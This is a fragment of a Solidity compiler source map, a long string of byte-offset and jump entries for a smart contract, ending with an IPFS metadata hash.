;:::o;3638:806::-;3687:5;3717:8;3707:80;;-1:-1:-1;3758:1:1;3772:5;;3707:80;3806:4;3796:76;;-1:-1:-1;3843:1:1;3857:5;;3796:76;3888:4;3906:1;3901:59;;;;3974:1;3969:130;;;;3881:218;;3901:59;3931:1;3922:10;;3945:5;;;3969:130;4006:3;3996:8;3993:17;3990:43;;;4013:18;;:::i;:::-;-1:-1:-1;;4069:1:1;4055:16;;4084:5;;3881:218;;4183:2;4173:8;4170:16;4164:3;4158:4;4155:13;4151:36;4145:2;4135:8;4132:16;4127:2;4121:4;4118:12;4114:35;4111:77;4108:159;;;-1:-1:-1;4220:19:1;;;4252:5;;4108:159;4299:34;4324:8;4318:4;4299:34;:::i;:::-;4369:6;4365:1;4361:6;4357:19;4348:7;4345:32;4342:58;;;4380:18;;:::i;:::-;4418:20;;3638:806;-1:-1:-1;;;3638:806:1:o;4449:140::-;4507:5;4536:47;4577:4;4567:8;4563:19;4557:4;4536:47;:::i;4594:168::-;4667:9;;;4698;;4715:15;;;4709:22;;4695:37;4685:71;;4736:18;;:::i;4767:356::-;4969:2;4951:21;;;4988:18;;;4981:30;5047:34;5042:2;5027:18;;5020:62;5114:2;5099:18;;4767:356::o;5128:251::-;5198:6;5251:2;5239:9;5230:7;5226:23;5222:32;5219:52;;;5267:1;5264;5257:12;5219:52;5299:9;5293:16;5318:31;5343:5;5318:31;:::i;6657:306::-;6745:6;6753;6761;6814:2;6802:9;6793:7;6789:23;6785:32;6782:52;;;6830:1;6827;6820:12;6782:52;6859:9;6853:16;6843:26;;6909:2;6898:9;6894:18;6888:25;6878:35;;6953:2;6942:9;6938:18;6932:25;6922:35;;6657:306;;;;;:::o;8996:128::-;9063:9;;;9084:11;;;9081:37;;;9098:18;;:::i;9129:125::-;9194:9;;;9215:10;;;9212:36;;;9228:18;;:::i;9968:135::-;10007:3;10028:17;;;10025:43;;10048:18;;:::i;:::-;-1:-1:-1;10095:1:1;10084:13;;9968:135::o;10108:217::-;10148:1;10174;10164:132;;10218:10;10213:3;10209:20;10206:1;10199:31;10253:4;10250:1;10243:15;10281:4;10278:1;10271:15;10164:132;-1:-1:-1;10310:9:1;;10108:217::o;10864:127::-;10925:10;10920:3;10916:20;10913:1;10906:31;10956:4;10953:1;10946:15;10980:4;10977:1;10970:15;10996:980;11258:4;11306:3;11295:9;11291:19;11337:6;11326:9;11319:25;11363:2;11401:6;11396:2;11385:9;11381:18;11374:34;11444:3;11439:2;11428:9;11424:18;11417:31;11468:6;11503;11497:13;11534:6;11526;11519:22;11572:3;11561:9;11557:19;11550:26;;11611:2;11603:6;11599:15;11585:29;;11632:1;11642:195;11656:6;11653:1;11650:13;11642:195;;;11721:13;;-1:-1:-1;;;;;11717:39:1;11705:52;;11812:15;;;;11777:12;;;;11753:1;11671:9;11642:195;;;-1:-1:-1;;;;;;;11893:32:1;;;;11888:2;11873:18;;11866:60;-1:-1:-1;;;11957:3:1;11942:19;11935:35;11854:3;10996:980;-1:-1:-1;;;10996:980:1:o

ipfs://8cf2624beccc32cf41d775b56b50378d56ed2d70b5f39ea89a603dc70cae3a58